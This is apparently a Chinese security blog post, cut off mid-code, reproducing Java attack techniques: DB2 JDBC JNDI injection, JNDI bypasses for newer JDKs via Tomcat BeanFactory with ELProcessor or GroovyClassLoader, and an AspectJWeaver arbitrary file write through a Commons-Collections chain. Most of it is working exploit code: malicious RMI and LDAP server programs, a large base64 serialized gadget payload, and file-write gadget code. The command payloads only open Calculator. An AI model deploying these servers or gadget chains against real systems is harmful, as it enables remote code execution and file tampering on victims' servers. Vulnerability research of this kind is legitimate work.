db2 JNDI && 高版本JDK Bypass && AspectJWeaver任意文件写 && Dataease最新RCE复现
2025-08-28 23:28:13

DB2 JDBC JNDI注入

导入DB2 JDBC驱动的Maven依赖

1
2
3
4
5
<dependency>
<groupId>com.ibm.db2</groupId>
<artifactId>jcc</artifactId>
<version>11.5.0.0</version>
</dependency>

JDK环境为JDK 8u65

1
2
3
4
5
6
7
8
import java.sql.DriverManager;

public class DB2JNDI {
public static void main(String[] args) throws Exception {
Class.forName("com.ibm.db2.jcc.DB2Driver");
DriverManager.getConnection("jdbc:db2://127.0.0.1:50000/BLUDB:clientRerouteServerListJNDIName=ldap://192.168.70.175:8085/coukzXfd;");
}
}

image-20250827161359-hmiukkt

JDNI 高版本JDK Bypass

RMIJDK <= 6u141, 7u131, 8u121

LDAPJDK <= 11.0.1, 8u191, 7u201, 6u211

无任何防护的RMI JNDI注入堆栈

1
2
3
4
5
6
7
8
9
10
forName:334, Class (java.lang)
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:87, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:6, JNDIByPass

RMI JDK >= 8u191 Bypass

环境JDK 8u442

借用上面堆栈信息,防护位置如下所示

1
2
3
4
5
6
7
8
9
10
forName:334, Class (java.lang)
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:87, VersionHelper12 (com.sun.naming.internal) --> trustURLCodebase机制
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry) --> trustURLCodebase机制
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:6, JNDIByPass

com.sun.jndi.rmi.registry.RegistryContext#decodeObject

image-20250827221737-0poti9k

com.sun.naming.internal.VersionHelper12#loadClass(java.lang.String, java.lang.String)

image-20250827221807-bf5ee76

trustURLCodeBase默认为false

BeanFactory + ELProcessor

调用堆栈

1
2
3
4
5
6
7
8
invoke:488, Method (java.lang.reflect)
getObjectInstance:211, BeanFactory (org.apache.naming.factory)
getObjectInstance:332, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:218, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:6, JNDIByPass

当工厂类为本地依赖中的类时,ref.getFactoryClassLocation() = null,若指定的classFactory的类存在于目标本地依赖中,那么就可以绕过第一层防护

image-20250828114219-h3j3m82

继续跟进到getObjectFactoryFromReference方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// factoryName类是否为本地的类
try {
clas = helper.loadClassWithoutInit(factoryName);
// Validate factory's class with the objects factory serial filter
if (!ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) {
return null;
}
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// 若不是本地类则远程加载
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
// Validate factory's class with the objects factory serial filter
if (clas == null ||
!ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) {
return null;
}
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

已知远程加载的路已经被trustURLCodeBase堵死,只能利用本地加载。

接着调用这个本地类的getObjectInstance方法进行进一步利用。

factory的类型为ObjectFactory,所以对于要找的本地类要实现ObjectFactory接口

1
2
3
4
5
6
7
8
package javax.naming.spi;
import java.util.Hashtable;
import javax.naming.*;
public interface ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception;
}

其中org.apache.naming.factory.BeanFactory符合条件,存在于Tomcat依赖中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference)obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}

if (beanClass == null) {
throw new NamingException("Class not found: " + beanClassName);
} else {
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.getConstructor().newInstance();
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap();
if (ra != null) {
String value = (String)ra.getContent();
Class<?>[] paramTypes = new Class[]{String.class};

for(String param : value.split(",")) {
param = param.trim();
int index = param.indexOf(61);
String setterName;
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}

try {
forced.put(param, beanClass.getMethod(setterName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
throw new NamingException("Forced String setter " + setterName + " not found for property " + param);
}
}
}

Enumeration<RefAddr> e = ref.getAll();

while(e.hasMoreElements()) {
ra = (RefAddr)e.nextElement();
String propName = ra.getType();
if (!propName.equals("factory") && !propName.equals("scope") && !propName.equals("auth") && !propName.equals("forceString") && !propName.equals("singleton")) {
String value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = (Method)forced.get(propName);
if (method != null) {
valueArray[0] = value;

try {
method.invoke(bean, valueArray);
} catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
}
} else {
......
}
}
}

return bean;
}
} catch (IntrospectionException ie) {
......
} catch (ReflectiveOperationException e) {
......
}
} else {
return null;
}
}

通过构造特定payload最终在method.invoke(bean, valueArray);执行恶意代码

恶意RMI Server端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef(
"javax.el.ELProcessor", null, "", "", true,
"org.apache.naming.factory.BeanFactory", null);

ref.add(new StringRefAddr("forceString", "bitterz=eval"));
String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()"
+ ".getEngineByName(\"JavaScript\").eval("
+ "\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','-a','Calculator']).start()\")";
ref.add(new StringRefAddr("bitterz", payload));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
System.out.println("Server Started!");
}
}

image-20250828141859-sx1g1ut

BeanFactory + GroovyClassLoader

groovy.lang.GroovyClassLoader#parseClass(java.lang.String)方法的主要功能是将一段Groovy代码动态编译成Java对象并返回

当运行下面这段脚本时将执行恶意代码

1
2
3
4
@groovy.transform.ASTTest(value={
assert java.lang.Runtime.getRuntime().exec("calc"). //不写assert也会执行代码
})
def x

@groovy.transform.ASTTestGroovy提供的注解,用来在编译期间执行一段代码。

完整恶意RMI Server代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef(
"groovy.lang.GroovyClassLoader", null, "", "", true,
"org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "text=parseClass"));
String payload = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef text\n", "open -a Calculator.app");
ref.add(new StringRefAddr("text", payload));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
System.out.println("Server Started!");
}
}

image-20250828141924-h9vkzel

经测试,JDK11JDK17都可以打

LDAP JDK >= 8u191 Bypass

无防护堆栈调用如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
start:1007, ProcessBuilder (java.lang)
<init>:-1, AnyGetterWriter42e142f2624640b4b2c13af73778defb (org.apache.beanutils.coyote.ser)
<clinit>:-1, AnyGetterWriter42e142f2624640b4b2c13af73778defb (org.apache.beanutils.coyote.ser)
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:87, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:7, JNDIByPass

同理利用trustURLCodeBase = false来堵死了远程加载恶意类的路。

但在 8u191 <= JDK < 某版本(待测试,已知8u442无效)

反序列化漏洞调用堆栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
start:1007, ProcessBuilder (java.lang)
exec:620, Runtime (java.lang)
exec:485, Runtime (java.lang)
<clinit>:15, attack
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:64, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
transform:106, InstantiateTransformer (org.apache.commons.collections.functors)
transform:123, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
invoke:77, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy0 (com.sun.proxy)
readObject:444, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
deserializeObject:531, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:7, JNDIByPass

com.sun.jndi.ldap.Obj#decodeObject中有这样一个判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};

static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])var1.get(), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}

会判断序列化数据是否为空,若不为空,则调用com.sun.jndi.ldap.Obj#deserializeObject进行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
try {
ByteArrayInputStream var2 = new ByteArrayInputStream(var0);

try (Object var20 = var1 == null ? new ObjectInputStream(var2) : new LoaderInputStream(var2, var1)) {
Object var5 = ((ObjectInputStream)var20).readObject(); //反序列化
return var5;
} catch (ClassNotFoundException var18) {
NamingException var4 = new NamingException();
var4.setRootCause(var18);
throw var4;
}
} catch (IOException var19) {
NamingException var3 = new NamingException();
var3.setRootCause(var19);
throw var3;
}
}

恶意LDAP Server代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import java.net.InetAddress;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

public class LDAPDeser {

private static final String LDAP_BASE = "dc=t4rrega,dc=domain";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1/#Deserialize"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new LDAPDeser.OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaSerializedData", Base64.decode("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"));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

LDAP + CC1

image-20250828162403-wbtbo5z

8u442测试时发现已经修复,如下所示

image-20250828162529-s7as87d

利用VersionHelper12.isSerialDataAllowed()进行防护,默认为false

所以高版本利用一般都是RMI

AspectJWeaver 任意文件写

调用链如下所示:

1
2
org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put
-> org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#writeToPath

put方法中接受两个参数,并调用writeToPath方法

image-20250827164228-otex1yk

跟进writeToPath方法

image-20250827164401-2l7myqn

将传入的key拼接到this.folder/后组成fullPath,将value的值写入fullPath所在文件中

this.folder可以利用反射来赋值

image-20250827164522-4rgxyk8

简单利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
import java.lang.reflect.Constructor;
import java.util.HashMap;

public class AspectJWeaverEvil {
public static void main(String[] args) throws Exception {
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor constructor = clazz.getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
HashMap map = (HashMap) constructor.newInstance("/Users/gehansheng/Desktop/Java安全/漏洞复现/dataease/DB2/tmp", 123);
map.put("1.txt", "attack".getBytes());
}
}

成功写入文件

image-20250827164605-ayfr0pi

AspectJWeaver 反序列化利用

触发任意文件写的本质是调用org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put

AspectJWeaver 1.9.21.1 + Commons-Collections 3.2.1

可以利用CC6那条链,调用链如下所示:

1
2
3
4
5
java.util.HashMap#readObject
->org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
-> org.apache.commons.collections.map.LazyMap#get ------- 以上为CC6调用链
-> org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put
-> org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#writeToPath

完整利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class AspectJWeaverEvil {
public static byte[] serialize(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(object);
oos.flush();
oos.flush();
return byteArrayOutputStream.toByteArray();
}

public static Object deserialize(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
return ois.readObject();
}


public static void main(String[] args) throws Exception {
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor constructor = clazz.getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
